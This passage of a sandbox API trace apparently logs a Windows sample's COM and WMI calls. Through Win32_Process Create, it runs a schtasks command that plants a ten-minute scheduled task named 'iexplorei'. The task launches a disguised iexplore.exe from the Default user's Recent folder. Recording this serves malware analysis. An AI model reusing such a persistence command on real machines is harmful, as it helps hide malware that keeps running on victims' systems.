[4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc58740) returned 0x0 [0151.356] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58740, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.356] WbemDefPath:IUnknown:Release (This=0x1bc58740) returned 0x3 [0151.356] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0151.356] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0151.357] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0151.357] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x2 [0151.357] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x1 [0151.357] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0151.357] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0151.357] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94ff0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc94ff0) returned 0x0 [0151.357] WbemDefPath:IUnknown:AddRef (This=0x1bc94ff0) returned 0x3 [0151.357] WbemDefPath:IUnknown:Release (This=0x1bc94ff0) returned 0x2 [0151.357] WbemDefPath:IWbemPath:SetText (This=0x1bc94ff0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0151.357] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc950b0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0151.357] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ff0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0151.357] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ff0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0151.357] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94ff0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0151.357] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc950b0) returned 0x0 [0151.357] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94ff0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0151.357] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94ff0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0151.357] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94ff0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0151.357] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc950b0, uIndex=0x0, pszName="root") returned 0x0 [0151.357] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94ff0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0151.357] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc94ff0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0151.357] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc950b0, uIndex=0x1, pszName="cimv2") returned 0x0 [0151.357] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94ff0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc94ff0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc950b0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc950b0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc950b0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95530, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95530, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc950b0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetText (in: This=0x1bc950b0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetText (in: This=0x1bc950b0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetText (in: This=0x1bc950b0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0151.358] WbemDefPath:IWbemPath:GetText (in: This=0x1bc950b0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0151.359] IWbemServices:GetObject (in: This=0x1a9e38e0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bb93080, ppCallResult=0x0) returned 0x0 [0151.362] IWbemClassObject:GetMethod (in: This=0x1bb93080, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bb933f0, ppOutSignature=0x1bb7e690*=0x1bb93760) returned 0x0 [0151.362] IWbemClassObject:SpawnInstance (in: This=0x1bb933f0, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1aa18270) returned 0x0 [0151.363] IWbemClassObject:Get (in: This=0x1aa18270, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f81f0*=0, plFlavor=0x27f81f4*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f81f0*=8, plFlavor=0x27f81f4*=32) returned 0x0 [0151.363] IWbemClassObject:Get (in: This=0x1aa18270, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f81f0*=8, plFlavor=0x27f81f4*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f81f0*=8, plFlavor=0x27f81f4*=32) returned 0x0 [0151.363] IWbemClassObject:Put (This=0x1aa18270, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"iexplorei\" /sc MINUTE /mo 10 /tr \"'C:\\Users\\Default\\Recent\\iexplore.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0151.363] IWbemClassObject:Get (in: This=0x1aa18270, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f8280*=0, plFlavor=0x27f8284*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f8280*=13, plFlavor=0x27f8284*=32) returned 0x0 [0151.364] IWbemClassObject:Get (in: This=0x1aa18270, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f8280*=13, plFlavor=0x27f8284*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f8280*=13, plFlavor=0x27f8284*=32) returned 0x0 [0151.364] IUnknown:QueryInterface (in: This=0x1bb929a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bb929a0) returned 0x0 [0151.364] IUnknown:QueryInterface (in: This=0x1bb929a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0151.364] IUnknown:QueryInterface (in: This=0x1bb929a0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0151.364] IUnknown:AddRef (This=0x1bb929a0) returned 0x3 [0151.364] IUnknown:QueryInterface (in: This=0x1bb929a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0151.364] IUnknown:QueryInterface (in: This=0x1bb929a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0151.364] IUnknown:QueryInterface (in: This=0x1bb929a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bb929a8) returned 0x0 [0151.364] IMarshal:GetUnmarshalClass (in: This=0x1bb929a8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0151.364] IUnknown:Release (This=0x1bb929a8) returned 0x3 [0151.365] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0151.365] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0151.365] IUnknown:QueryInterface (in: This=0x1bb929a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0151.365] IUnknown:Release (This=0x1bb929a0) returned 0x2 [0151.365] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0151.365] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0151.365] IUnknown:QueryInterface (in: This=0x1bb929a0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0151.365] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0151.365] IUnknown:QueryInterface (in: This=0x1bb929a0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0151.365] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0151.365] IUnknown:AddRef (This=0x1bb929a0) returned 0x3 [0151.365] IWbemClassObject:Put (This=0x1aa18270, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bb929a0, varVal2=0x0), Type=0) returned 0x0 [0151.365] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95470, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0151.365] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95470, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0151.365] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95470, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0151.365] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95530, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0151.365] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0151.366] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95530, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.366] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95470, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0151.366] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95470, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0151.366] IWbemServices:ExecMethod (in: This=0x1a9e38e0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa18270, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa18520, ppCallResult=0x0) returned 0x0 [0151.545] IWbemClassObject:Get (in: This=0x1aa18520, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f8598*=0, plFlavor=0x27f859c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xca0, varVal2=0x0), pType=0x27f8598*=19, plFlavor=0x27f859c*=0) returned 0x0 [0151.546] IWbemClassObject:Get (in: This=0x1aa18520, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27f8598*=19, plFlavor=0x27f859c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xca0, varVal2=0x0), pType=0x27f8598*=19, plFlavor=0x27f859c*=0) returned 0x0 [0151.559] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0151.559] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0151.559] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0151.559] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.564] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc58880) returned 0x0 [0151.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58880, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0151.565] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58880, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc94f30) returned 0x0 [0151.565] WbemDefPath:IUnknown:Release (This=0x1bc58880) returned 0x0 [0151.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc94f30) returned 0x0 [0151.565] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0151.566] WbemDefPath:IUnknown:AddRef (This=0x1bc94f30) returned 0x3 [0151.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0151.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0151.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc58640) returned 0x0 [0151.566] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58640, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.566] WbemDefPath:IUnknown:Release (This=0x1bc58640) returned 0x3 [0151.566] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0151.566] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0151.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0151.566] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x2 [0151.566] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x1 [0151.566] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0151.566] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0151.566] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94f30, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc94f30) returned 0x0 [0151.566] WbemDefPath:IUnknown:AddRef (This=0x1bc94f30) returned 0x3 [0151.567] WbemDefPath:IUnknown:Release (This=0x1bc94f30) returned 0x2 [0151.567] WbemDefPath:IWbemPath:SetText (This=0x1bc94f30, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0151.567] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94f30, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0151.567] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94f30, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0151.567] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94f30, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0151.567] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94f30, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0151.567] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94f30, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0151.567] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc94f30, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0151.567] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0151.568] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0151.568] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0151.568] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.570] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 